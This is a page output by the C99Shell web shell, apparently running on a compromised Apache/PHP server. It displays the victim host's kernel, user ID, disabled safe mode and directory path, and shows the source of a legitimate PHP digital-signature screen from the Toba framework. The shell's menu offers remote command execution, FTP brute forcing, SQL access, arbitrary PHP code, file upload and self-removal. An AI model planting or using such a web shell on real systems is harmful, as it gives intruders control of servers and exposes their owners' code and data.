!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_referencia/php/firma_digital/multiple/   drwxr-xr-x
Free 14.67 GB of 61.93 GB (23.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pant_firma_digital.php (2.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class pant_firma_digital extends toba_ei_pantalla
{
    function 
generar_layout()
    {
        
//-- Genera Applet
        
$this->dep('firmador')->generar_html();
        
        
        
//-- Genera selector de documentos
        
$sesion $this->dep('firmador')->generar_sesion();
        
        
$url_actual $this->dep('firmador')->get_url_base_actual(). $_SERVER['REQUEST_URI'];
        
        
//JS lo necesita sin encodear y Java encodeado...
        
$url_pdf_base $this->dep('firmador')->get_url_enviar_pdf(false)."&codigo=$sesion";
        
$url_pdf_base_encodeado $this->dep('firmador')->get_url_enviar_pdf(true)."&codigo=$sesion";

        echo 
"
            <style type='text/css'>
                #pdf {
                    float: right; 
                    border: 1px solid black; 
                    height:800px; 
                    width:600px; 
                }
            </style>

            <script type='text/javascript'>
            function toggleDocumento(source, agregar) {
                var ok = false;
                if (agregar) {
                    ok = document.AppletFirmador.agregarDocumento(source.id, source.getAttribute('value_encodeado'));
                } else {
                    ok = document.AppletFirmador.quitarDocumento(source.id);
                }
                if (ok === null) {
                    alert('Hubo un problema al comunicarse con el Applet firmador, chequee que se haya habilitados los permisos de interconexión.');
                    return false;
                } else if (ok == false) {
                    source.checked = ! agregar;
                    return false;
                } else if (ok == true) {
                    source.checked = agregar;
                    return false;
                }
            }

            function seleccionarTodos(source) {
                checkboxes = document.getElementsByName('documentos');
                for (var i=0 ;i < checkboxes.length; i++) {
                  toggleDocumento(checkboxes[i], source.checked);
                  checkboxes[i].checked = source.checked;
                }
            }

            function verDocumento(source) {
                
{$this->objeto_js}.dep('firmador').ver_pdf_inline(source.value);
            }    
            </script>
        "
;
        
        echo 
"<div id='listado' style='display: none;float: left; width: 220px; margin-left: 20px; height: 600px;overflow:scroll;'>
                <input id='todos' type='checkbox' onclick='seleccionarTodos(this)' /> 
                <label for='todos'>Seleccionar Todos/Ninguno</label>
            <br/><br/>
        "
;
        
$cant_documentos 68;
        for (
$i 1$i <= $cant_documentos$i++) {
            echo 
"    <input id='$i
                        name='documentos' 
                        type='checkbox' 
                        onclick='toggleDocumento(this, this.checked)' 
                        value='"
.$url_pdf_base."&id=$i'
                        value_encodeado='"
.$url_pdf_base_encodeado."&id=$i'
                    /> 
                    <a href='javascript:verDocumento(document.getElementById(\"
$i\"))'>Documento $i</a>
                    <br/>"
;
        }
        echo 
"</div>";

    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5939 ]--